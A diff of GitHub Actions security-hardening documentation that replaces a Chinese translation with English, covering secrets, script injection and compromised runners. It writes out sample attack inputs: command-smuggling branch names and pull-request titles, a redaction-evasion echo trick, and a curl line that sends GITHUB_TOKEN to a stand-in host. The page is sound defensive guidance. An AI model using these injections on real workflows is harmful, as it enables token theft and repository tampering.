unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)." -## 使用密码 +## Using secrets -敏感值绝不能以明文存储在工作流程文件中,而应存储为密码。 [密码](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)可在组织{% ifversion fpt or ghes > 3.0 or ghae or ghec %}、仓库或环境{% else %}或仓库{% endif %}级配置,可用于在 {% data variables.product.product_name %} 中存储敏感信息。 +Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}. -密码使用 [Libsodium 密封箱](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes),以使它们在到达 {% data variables.product.product_name %} 前被加密处理。 [使用 UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) 或通过 [REST API](/rest/reference/actions#secrets) 提交密码时就会发生这种情况。 此客户端加密有助于最大程度地减少与 {% data variables.product.product_name %}基础架构中的意外日志记录相关的风险(例如,异常日志和请求日志等)。 密钥在上传后,{% data variables.product.product_name %} 可对其进行解密,以便它能够被注入工作流程运行时。 +Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime. -为了帮助防止意外泄露,{% data variables.product.product_name %} 使用一种机制尝试对运行日志中显示的任何密码进行编校。 此编校会寻找任何已配置密码的精确匹配项,以及值的常见编码,如 Base64。 但是,由于密码值可以通过多种方式转换,因此不能保证此编校。 因此,你应该采取某些积极主动的步骤和良好的做法,以帮助确保密码得到编校, 并限制与密码相关的其他风险: +To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets: -- **切勿将结构化数据用作密码** - - 结构化数据可能导致日志中的密码编校失败,因为编校很大程度上取决于查找特定密码值的完全匹配项。 例如,不要使用 JSON、XML 或 YAML(或类似)的 Blob 来封装密码值,否则会显著降低密码被正确编校的可能性。 而应为每个敏感值创建单独的密码。 -- **注册工作流程中使用的所有密码** - - 如果密码用于生成工作流程中的另一个敏感值,则该生成的值应正式[注册为密码](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret),使其出现在日志中时将会得到编校。 例如,如果使用私钥生成签名的 JWT 来访问 Web API,请确保将该 JWT 注册为密码,否则,如果它进入日志输出,则不会得到编校。 - - 注册密码也适用于任何类型的转换/编码。 如果以某种方式(如 Base64 或 URL 编码)转换您的密码,请确保将新值也注册为密码。 -- **审核如何处理密码** - - 审核密码的使用方式,以帮助确保按预期方式处理密码。 您可以通过检查执行工作流程的仓库的源代码并检查工作流程中使用的任何操作来进行审核。 例如,确认它们未发送到非预期主机,或明确打印到日志输出。 - - 在测试有效/无效输入后查看工作流程的运行日志,并确认密码已正确编校或未显示。 您调用的命令或工具如何向 `STDOUT` 和 `STDERR` 发送错误并不总是很明显,密码随后可能会在错误日志中生成错误。 因此,在测试有效和无效的输入后,最好是手动查看工作流程日志。 -- **使用最小范围的凭据** - - 确保工作流程中使用的凭据具有所需的最小权限,并请注意,任何对仓库具有写入权限的用户都可访问仓库中配置的所有密码。 {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} - - Actions 可以使用 `GITHUB_TOKEN` 从 `github.token` 上下文访问它。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。 因此,您应该确保 `GITHUB_TOKEN` 获得所需的最低权限。 将 `GITHUB_TOKENN` 的默认权限设置为只读取仓库内容是良好的安全做法。 然后可以根据需要增加工作流程文件中个别任务的权限。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。 {% endif %} -- **审核并轮换注册密码** - - 定期查查已注册的密码,以确认它们仍是必需的。 删除不再需要的密码。 - - 定期轮换密码,以减小泄露的密码有效的时间窗。 +- **Never use structured data as a secret** + - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value. +- **Register all secrets used within workflows** + - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output. + - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too. +- **Audit how secrets are handled** + - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output. + - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs. +- **Use credentials that are minimally scoped** + - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %} +- **Audit and rotate registered secrets** + - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed. + - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid. {% ifversion fpt or ghes > 3.0 or ghae or ghec %} -- **考虑要求对访问密码进行审查** - - 您可以使用所需的审查者来保护环境机密。 在审查者批准之前,工作流程作业无法访问环境机密。 For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." +- **Consider requiring review for access to secrets** + - You can use required reviewers to protect environment secrets. A workflow job cannot access environment secrets until approval is granted by a reviewer. For more information about storing secrets in environments or requiring reviews for environments, see "[Encrypted secrets](/actions/reference/encrypted-secrets)" and "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %} -## 使用 `CODEOWNERS` 监控更改 +## Using `CODEOWNERS` to monitor changes -您可以使用 `CODEOWNERS` 功能来控制如何更改您的工作流程文件。 例如,如果您所有的工作流程文件都存储在 `.github/workflows` 中,您可以将此目录添加到代码所有者列表,这样对这些文件的任何拟议更改都首先需要得到指定的审查者的批准。 +You can use the `CODEOWNERS` feature to control how changes are made to your workflow files. For example, if all your workflow files are stored in `.github/workflows`, you can add this directory to the code owners list, so that any proposed changes to these files will first require approval from a designated reviewer. -更多信息请参阅“[关于代码所有者](/github/creating-cloning-and-archiving-repositories/about-code-owners)”。 +For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." -## 了解脚本注入的风险 +## Understanding the risk of script injections -在创建工作流程 [custom actions](/actions/creating-actions/about-actions) 和 [composite actions](/actions/creating-actions/creating-a-composite-action) 操作时,您应该始终考虑您的代码是否会执行来自攻击者的不信任输入。 当攻击者将恶意命令和脚本添加到上下文时可能发生这种情况。 当您的工作流程运行时,这些字符串可能会被解释为代码,然后在运行器上执行。 +When creating workflows, [custom actions](/actions/creating-actions/about-actions), and [composite actions](/actions/creating-actions/creating-a-composite-action) actions, you should always consider whether your code might execute untrusted input from attackers. This can occur when an attacker adds malicious commands and scripts to a context. When your workflow runs, those strings might be interpreted as code which is then executed on the runner. - 攻击者可以将他们自己的恶意内容添加到 [`github` 上下文](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)中,应会该被视为潜在的不可信输入。 这些上下文通常以 `body`、`default_branch`、`email`、`head_ref`、`label`、`message`、`name`、`page_name`、`ref` 和 `title` 结束。 例如:`github.event.issue.title` 或 `github.event.pull_request.body`。 + Attackers can add their own malicious content to the [`github` context](/actions/reference/context-and-expression-syntax-for-github-actions#github-context), which should be treated as potentially untrusted input. These contexts typically end with `body`, `default_branch`, `email`, `head_ref`, `label`, `message`, `name`, `page_name`,`ref`, and `title`. For example: `github.event.issue.title`, or `github.event.pull_request.body`. + + You should ensure that these values do not flow directly into workflows, actions, API calls, or anywhere else where they could be interpreted as executable code. By adopting the same defensive programming posture you would use for any other privileged application code, you can help security harden your use of {% data variables.product.prodname_actions %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." - 您应该确保这些值不会直接流入工作流程、操作、API 调用,或任何可能被解释为可执行代码的其它地方。 通过采用您将用于任何其他特权应用程序代码的相同防御编程姿态,,您可以帮助安全保护 {% data variables.product.prodname_actions %} 的使用。 有关攻击者可能采取的某些步骤的信息,请参阅“[受损运行器的潜在影响](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)”。 +In addition, there are other less obvious sources of potentially untrusted input, such as branch names and email addresses, which can be quite flexible in terms of their permitted content. For example, `zzz";echo${IFS}"hello";#` would be a valid branch name and would be a possible attack vector for a target repository. -此外,还有其他不太明显的潜在不信任输入来源,如分支名称和电子邮件地址,这些输入在允许的内容方面可能相当灵活。 例如, `zz";echo${IFS}"hello";#` 将是一个有效的分支名称,并将成为目标仓库的可能攻击矢量。 +The following sections explain how you can help mitigate the risk of script injection. -以下部分解释了如何帮助降低脚本注入的风险。 +### Example of a script injection attack -### 脚本注入攻击示例 - -脚本注入攻击可直接发生在工作流程的内联脚本中。 在下列示例中,操作使用表达式来测试拉取请求标题的有效性,但也增加了脚本注入的风险: +A script injection attack can occur directly within a workflow's inline script. In the following example, an action uses an expression to test the validity of a pull request title, but also adds the risk of script injection: {% raw %} ``` @@ -88,23 +88,23 @@ miniTocMaxHeadingLevel: 3 ``` {% endraw %} -此示例易受脚本注入的影响,因为 `run` 命令在运行器的临时 shell 脚本中执行。 在 shell 脚本运行之前。 {% raw %}`${{ }}`{% endraw %} 内的表达式被评估后替换为结果值, 这使它易受 shell 命令注入的攻击。 +This example is vulnerable to script injection because the `run` command executes within a temporary shell script on the runner. Before the shell script is run, the expressions inside {% raw %}`${{ }}`{% endraw %} are evaluated and then substituted with the resulting values, which can make it vulnerable to shell command injection. -要将命令注入此工作流程,攻击者可以创建标题为 `a"; ls $GITHUB_WORKSPACE"` 的拉取请求: +To inject commands into this workflow, the attacker could create a pull request with a title of `a"; ls $GITHUB_WORKSPACE"`: -![PR 标题中的脚本注入示例](/assets/images/help/images/example-script-injection-pr-title.png) +![Example of script injection in PR title](/assets/images/help/images/example-script-injection-pr-title.png) -在此示例中,`"` 字符用于中断 {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} 语句, 允许在运行器上执行 `ls` 命令。 您可以在日志中看到 `ls` 命令的输出: +In this example, the `"` character is used to interrupt the {% raw %}`title="${{ github.event.pull_request.title }}"`{% endraw %} statement, allowing the `ls` command to be executed on the runner. You can see the output of the `ls` command in the log: -![脚本注入示例结果](/assets/images/help/images/example-script-injection-result.png) +![Example result of script injection](/assets/images/help/images/example-script-injection-result.png) -## 减少脚本注入攻击的良好做法 +## Good practices for mitigating script injection attacks -有许多不同的方法可以帮助您降低脚本注入的风险: +There are a number of different approaches available to help you mitigate the risk of script injection: -### 使用操作而不是内联脚本(建议) +### Using an action instead of an inline script (recommended) -建议的方法是创建一个操作,将上下文值作为参数处理。 此方法不易受到注入攻击,因为上下文值不用于生成 shell 脚本,而是作为参数传递给该操作: +The recommended approach is to create an action that processes the context value as an argument. This approach is not vulnerable to the injection attack, as the context value is not used to generate a shell script, but is instead passed to the action as an argument: {% raw %} ``` @@ -114,11 +114,11 @@ with: ``` {% endraw %} -### 使用中间环境变量 +### Using an intermediate environment variable -对于内联脚本,处理不信任输入的首选方法是将表达式的值设置为中间环境变量。 +For inline scripts, the preferred approach to handling untrusted input is to set the value of the expression to an intermediate environment variable. -以下示例使用 Bash 将 `github.event.pull_request.title` 值处理为环境变量: +The following example uses Bash to process the `github.event.pull_request.title` value as an environment variable: {% raw %} ``` @@ -136,24 +136,24 @@ with: ``` {% endraw %} -在此示例中,尝试的脚本注入失败: +In this example, the attempted script injection is unsuccessful: -![缓减脚本注入示例](/assets/images/help/images/example-script-injection-mitigated.png) +![Example of mitigated script injection](/assets/images/help/images/example-script-injection-mitigated.png) -使用此方法, {% raw %}`${{ github.event.issue.title }}`{% endraw %} 表达式的值存储在内存中用作变量,并且不与脚本生成过程交互。 此外,考虑使用双引号 shell 变量来避免 [单词拆分](https://github.com/koalaman/shellcheck/wiki/SC2086),但这是是写入shell 脚本[的许多一般性建议之一](https://mywiki.wooledge.org/BashPitfalls),不是专门针对 {% data variables.product.prodname_actions %} 的。 +With this approach, the value of the {% raw %}`${{ github.event.issue.title }}`{% endraw %} expression is stored in memory and used as a variable, and doesn't interact with the script generation process. In addition, consider using double quote shell variables to avoid [word splitting](https://github.com/koalaman/shellcheck/wiki/SC2086), but this is [one of many](https://mywiki.wooledge.org/BashPitfalls) general recommendations for writing shell scripts, and is not specific to {% data variables.product.prodname_actions %}. -### 使用 CodeQL 分析您的代码 +### Using CodeQL to analyze your code -为了帮助您在开发生命周期中尽早管理危险模式的风险, {% data variables.product.prodname_dotcom %} 安全实验室开发了仓库所有者可以[集成](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries)到其 CI/CD 管道中的 [CodeQL 查询](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094)。 更多信息请参阅“[关于代码扫描](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)”。 +To help you manage the risk of dangerous patterns as early as possible in the development lifecycle, the {% data variables.product.prodname_dotcom %} Security Lab has developed [CodeQL queries](https://github.com/github/codeql/tree/main/javascript/ql/src/experimental/Security/CWE-094) that repository owners can [integrate](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#running-additional-queries) into their CI/CD pipelines. For more information, see "[About code scanning](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning)." -脚本目前依赖于 CodeQL JavaScript 库,这意味着分析的仓库必须包含至少一个 JavaScript 文件,并且 CodeQL 必须[配置为分析此语言](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed)。 +The scripts currently depend on the CodeQL JavaScript libraries, which means that the analyzed repository must contain at least one JavaScript file and that CodeQL must be [configured to analyze this language](/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed). -- `ExpressionInjection.ql`:涵盖本文所述的表达式注入,被认为是相当准确的。 但是,它不执行工作流程步骤之间的数据流跟踪。 -- `UntrustedCheckout.ql`:此脚本的结果需要手动检查,以确定从拉取请求的代码是否实际以不安全的方式处理。 更多信息请参阅 {% data variables.product.prodname_dotcom %} 安全实验室博客上的“[保持 GitHub Actions 和工作流程安全:阻止 pwn 请求](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)”。 +- `ExpressionInjection.ql`: Covers the expression injections described in this article, and is considered to be reasonably accurate. However, it doesn’t perform data flow tracking between workflow steps. +- `UntrustedCheckout.ql`: This script's results require manual review to determine whether the code from a pull request is actually treated in an unsafe manner. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the {% data variables.product.prodname_dotcom %} Security Lab blog. -### 限制令牌权限 +### Restricting permissions for tokens -为了帮助降低暴露令牌的风险,请考虑限制分配的权限。 更多信息请参阅“[修改 GITHUB_TOKEN 的权限](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)”。 +To help mitigate the risk of an exposed token, consider restricting the assigned permissions. For more information, see "[Modifying the permissions for the GITHUB_TOKEN](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token)." {% ifversion fpt or ghec or ghae-issue-4856 %} @@ -163,51 +163,51 @@ with: {% endif %} -## 使用第三方操作 +## Using third-party actions -工作流程中的个别作业可以与其他作业相互作用(和妥协)。 例如,查询以后作业使用的环境变量,将文件写入以后作业处理的共享目录,或者更直接地与 Docker 套接字接交互,以及检查其他正在运行的容器并执行其中的命令。 +The individual jobs in a workflow can interact with (and compromise) other jobs. For example, a job querying the environment variables used by a later job, writing files to a shared directory that a later job processes, or even more directly by interacting with the Docker socket and inspecting other running containers and executing commands in them. -这意味着工作流程中单一操作的泄露可能很严重,因为这个泄露的操作可以访问您仓库中配置的所有密码, 并且可以使用 `GITHUB_TOKENN` 写入仓库。 因此,从 {% data variables.product.prodname_dotcom %} 上的第三方仓库获取操作的风险很大。 有关攻击者可能采取的某些步骤的信息,请参阅“[受损运行器的潜在影响](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)”。 +This means that a compromise of a single action within a workflow can be very significant, as that compromised action would have access to all secrets configured on your repository, and may be able to use the `GITHUB_TOKEN` to write to the repository. Consequently, there is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. For information on some of the steps an attacker could take, see ["Potential impact of a compromised runner](/actions/learn-github-actions/security-hardening-for-github-actions#potential-impact-of-a-compromised-runner)." -您可以遵循以下良好做法来帮助降低此风险: +You can help mitigate this risk by following these good practices: -* **将操作固定到全长提交 SHA** +* **Pin actions to a full length commit SHA** - 将操作固定到全长提交 SHA 是当前将操作用作不可变版本的唯一方法。 固定到特定 SHA 有助于降低恶意执行者向操作仓库添加后门的风险,因为他们需要为有效的 Git 对象负载生成 SHA-1 冲突。 + Pinning an action to a full length commit SHA is currently the only way to use an action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. {% ifversion ghes < 3.1 %} {% warning %} - **警告** 提交 SHA 的简短版本不安全,绝不可用于指定操作的 Git 引用。 由于仓库网络的工作方式,任何用户都可以复刻仓库,将精心编写的提交推送到与短 SHA 冲突的仓库。 这会导致该 SHA 上的后续克隆失败,因为它成为不明确的提交。 因此,使用缩短的 SHA 的任何工作流程将立即失败。 + **Warning:** The short version of the commit SHA is insecure and should never be used for specifying an action's Git reference. Because of how repository networks work, any user can fork the repository and push a crafted commit to it that collides with the short SHA. This causes subsequent clones at that SHA to fail because it becomes an ambiguous commit. As a result, any workflows that use the shortened SHA will immediately fail. {% endwarning %} {% endif %} -* **审核操作的源代码** +* **Audit the source code of the action** - 确保操作按照预期处理仓库和密码的内容。 例如,确认密码未发送到非预期主机,或者没有被无意中记录。 + Ensure that the action is handling the content of your repository and secrets as expected. For example, check that secrets are not sent to unintended hosts, or are not inadvertently logged. -* **仅当您信任创建者时,才将操作固定到标记** +* **Pin actions to a tag only if you trust the creator** - 尽管固定到提交 SHA 是最安全的选项,但指定标记更方便,而且被广泛使用。 如果要指定标记,请确保信任该操作的创建者。 {% data variables.product.prodname_marketplace %} 上的“已验证创建者”徽章是一个有用的信号,因为它表示该操作是由其身份已被 {% data variables.product.prodname_dotcom %} 验证的团队编写的。 请注意,即使您信任作者,这种方法也存在风险,因为如果恶意执行者获得对存储操作的仓库的访问权限,便可移动或删除标记。 + Although pinning to a commit SHA is the most secure option, specifying a tag is more convenient and is widely used. If you’d like to specify a tag, then be sure that you trust the action's creators. The ‘Verified creator’ badge on {% data variables.product.prodname_marketplace %} is a useful signal, as it indicates that the action was written by a team whose identity has been verified by {% data variables.product.prodname_dotcom %}. Note that there is risk to this approach even if you trust the author, because a tag can be moved or deleted if a bad actor gains access to the repository storing the action. {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} ## Reusing third-party workflows -The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +The same principles described above for using third-party actions also apply to using third-party workflows. You can help mitigate the risks associated with reusing workflows by following the same good practices outlined above. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." {% endif %} -## 受损运行器的潜在影响 +## Potential impact of a compromised runner -这些部分考虑了当攻击者能够对 {% data variables.product.prodname_actions %} 运行器运行恶意命令时可以采取的一些步骤。 +These sections consider some of the steps an attacker can take if they're able to run malicious commands on a {% data variables.product.prodname_actions %} runner. -### 访问密钥 +### Accessing secrets -使用 `pull_request` 事件触发的工作流程具有只读权限,不能访问密钥。 但是,这些权限因各种事件触发因素(如 `issue_comment`、`issues` 和 `push`)而有所不同,攻击者可能试图窃取仓库机密或使用作业 [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token) 的写入权限。 +Workflows triggered using the `pull_request` event have read-only permissions and have no access to secrets. However, these permissions differ for various event triggers such as `issue_comment`, `issues` and `push`, where the attacker could attempt to steal repository secrets or use the write permission of the job's [`GITHUB_TOKEN`](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token). -- 如果密钥或令牌设置为环境变量,它可以使用 `printenv` 通过环境直接访问。 -- 如果在表达式中直接使用密钥,生成的 shell 脚本将存储在磁盘上,并且可以访问。 -- 对于自定义操作,风险可能因程序如何使用从参数中获取的密钥而异: +- If the secret or token is set to an environment variable, it can be directly accessed through the environment using `printenv`. +- If the secret is used directly in an expression, the generated shell script is stored on-disk and is accessible. +- For a custom action, the risk can vary depending on how a program is using the secret it obtained from the argument: {% raw %} ``` @@ -217,68 +217,68 @@ The same principles described above for using third-party actions also apply to ``` {% endraw %} -虽然 {% data variables.product.prodname_actions %} 会从工作流程(或包含的操作)中未引用的内存中清除密钥,但 `GITHUB_TOKEN` 和任何引用的密钥均可被坚定的攻击者获取。 +Although {% data variables.product.prodname_actions %} scrubs secrets from memory that are not referenced in the workflow (or an included action), the `GITHUB_TOKEN` and any referenced secrets can be harvested by a determined attacker. -### 泄露运行器中的数据 +### Exfiltrating data from a runner -攻击者可以从运行器泄露任何被盗的密钥或其他数据。 为了帮助防止意外的密钥泄露,{% data variables.product.prodname_actions %} [自动编辑打印到日志的密钥](/actions/reference/encrypted-secrets#accessing-your-secrets),但这不是一个真正的安全边界,因为密钥可以故意发送到日志。 例如,可使用 `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};` 来解析混淆的密钥。 此外,由于攻击者可能运行任意命令,他们可以使用 HTTP 请求将机密或其他仓库数据发送到外部服务器。 +An attacker can exfiltrate any stolen secrets or other data from the runner. To help prevent accidental secret disclosure, {% data variables.product.prodname_actions %} [automatically redact secrets printed to the log](/actions/reference/encrypted-secrets#accessing-your-secrets), but this is not a true security boundary because secrets can be intentionally sent to the log. For example, obfuscated secrets can be exfiltrated using `echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};`. In addition, since the attacker may run arbitrary commands, they could use HTTP requests to send secrets or other repository data to an external server. -### 窃取作业的 `GITHUB_TOKEN` +### Stealing the job's `GITHUB_TOKEN` -攻击者有可能窃取作业的 `GITHUB_TOKEN`。 {% data variables.product.prodname_actions %} 运行器自动接收生成的 `GITHUB_TOKEN`,权限仅限于包含工作流程的仓库,令牌在作业完成后过期。 一旦过期,令牌对攻击者不再有用。 为了解决此限制,他们可以通过调用带有令牌的攻击者控制的服务器(例如:`a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`)来自动执行攻击并在几分之一秒内完成攻击。 +It is possible for an attacker to steal a job's `GITHUB_TOKEN`. The {% data variables.product.prodname_actions %} runner automatically receives a generated `GITHUB_TOKEN` with permissions that are limited to just the repository that contains the workflow, and the token expires after the job has completed. Once expired, the token is no longer useful to an attacker. To work around this limitation, they can automate the attack and perform it in fractions of a second by calling an attacker-controlled server with the token, for example: `a"; set +e; curl http://example.lab?token=$GITHUB_TOKEN;#`. -### 修改仓库的内容 +### Modifying the contents of a repository The attacker server can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API to [modify repository content](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token), including releases, if the assigned permissions of `GITHUB_TOKEN` [are not restricted](/actions/reference/authentication-in-a-workflow#modifying-the-permissions-for-the-github_token). -## 考虑跨仓库访问 +## Considering cross-repository access -{% data variables.product.prodname_actions %} 的范围有意设为每次一个仓库。 The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. 用户对每个仓库都有特定权限,因此,如果不谨慎实施,一个仓库的 `GITHUB_TOKEN` 库授予对另一个仓库的访问权限将会影响 {% data variables.product.prodname_dotcom %} 权限模型。 同样,在向工作流程添加 {% data variables.product.prodname_dotcom %} 授权令牌时也必须谨慎,因为这也会因无意中向协作者授予一般权限而影响 {% data variables.product.prodname_dotcom %} 权限模型。 +{% data variables.product.prodname_actions %} is intentionally scoped for a single repository at a time. The `GITHUB_TOKEN` grants the same level of access as a write-access user, because any write-access user can access this token by creating or modifying a workflow file{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}, elevating the permissions of the `GITHUB_TOKEN` if necessary{% endif %}. Users have specific permissions for each repository, so allowing the `GITHUB_TOKEN` for one repository to grant access to another would impact the {% data variables.product.prodname_dotcom %} permission model if not implemented carefully. Similarly, caution must be taken when adding {% data variables.product.prodname_dotcom %} authentication tokens to a workflow, because this can also affect the {% data variables.product.prodname_dotcom %} permission model by inadvertently granting broad access to collaborators. -我们已经[制定 {% data variables.product.prodname_dotcom %} 路线图](https://github.com/github/roadmap/issues/74),以支持允许在 {% data variables.product.product_name %} 内跨仓库访问的流程,但这还不是一项受支持的功能。 目前,执行特权跨仓库交互的唯一方法就是将 {% data variables.product.prodname_dotcom %} 身份验证令牌或 SSH 密钥作为工作流程中的密码。 由于许多身份验证令牌类型不允许对特定资源进行细致的访问,因此使用错误的令牌类型存在很大风险,因为它可以授予比预期范围更广泛的访问。 +We have [a plan on the {% data variables.product.prodname_dotcom %} roadmap](https://github.com/github/roadmap/issues/74) to support a flow that allows cross-repository access within {% data variables.product.product_name %}, but this is not yet a supported feature. Currently, the only way to perform privileged cross-repository interactions is to place a {% data variables.product.prodname_dotcom %} authentication token or SSH key as a secret within the workflow. Because many authentication token types do not allow for granular access to specific resources, there is significant risk in using the wrong token type, as it can grant much broader access than intended. -此列表描述建议用于在工作流程中访问仓库数据的方法,按优先顺序降序排列: +This list describes the recommended approaches for accessing repository data within a workflow, in descending order of preference: -1. **`GITHUB_TOKEN`** - - 此令牌被故意扩展到单个调用工作流程的仓库,并且{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}可以有 {% else %}具有 {% endif %}与仓库的写入用户相同的访问权限。 令牌在每个作业开始之前创建,在作业完成时过期。 更多信息请参阅“[使用 GITHUB_TOKEN 验证身份](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)”。 - - 应尽可能使用 `GITHUB_TOKEN`。 -2. **仓库部署密钥** - - 部署密钥是唯一授予对单个存储库的读取或写入访问权限的凭据类型之一,可用于与工作流程中的另一个仓库进行交互。 更多信息请参阅“[管理部署密钥](/developers/overview/managing-deploy-keys#deploy-keys)”。 - - 请注意,部署密钥只能使用 Git 克隆和推送到仓库,不能用于与 REST 或 GraphQL API 进行交互,因此它们可能不适合您的要求。 -3. **{% data variables.product.prodname_github_app %} 令牌** - - {% data variables.product.prodname_github_apps %} 可以安装在选择的仓库上,甚至可以对其中的资源设置细致的访问权限。 您可以创建组织内部的 {% data variables.product.prodname_github_app %},将其安装在工作流程中您需要访问的仓库上,并在工作流程中验证为安装以访问这些仓库。 -4. **个人访问令牌** - - 切勿使用您自己帐户的个人访问令牌。 这些令牌授予您访问组织中您有权访问的所有仓库,以及您的用户帐户中的所有个人仓库。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 此外,如果您以后离开组织,使用此令牌的工作流程将立即中断,而且调试此问题可能具有挑战性。 - - 如果使用个人访问令牌,应是为新帐户生成的令牌,该帐户仅被授予对工作流程所需的特定仓库的访问权限。 请注意,此方法不可扩展,应避免采用其他方法,例如部署密钥。 -5. **用户帐户上的 SSH 密钥** - - 工作流程不应使用用户帐户上的 SSH 密钥。 与个人访问令牌类似,它们授予对所有个人仓库以及通过组织成员资格访问的所有仓库的读/写权限。 这间接地向所有能写入工作流程所在仓库的用户授予广泛访问权限。 如果您打算使用 SSH 密钥,因为您只需要执行仓库克隆或推送,并且不需要与公共 API 交互,则应该使用单独的部署密钥。 +1. **The `GITHUB_TOKEN`** + - This token is intentionally scoped to the single repository that invoked the workflow, and {% ifversion fpt or ghes > 3.1 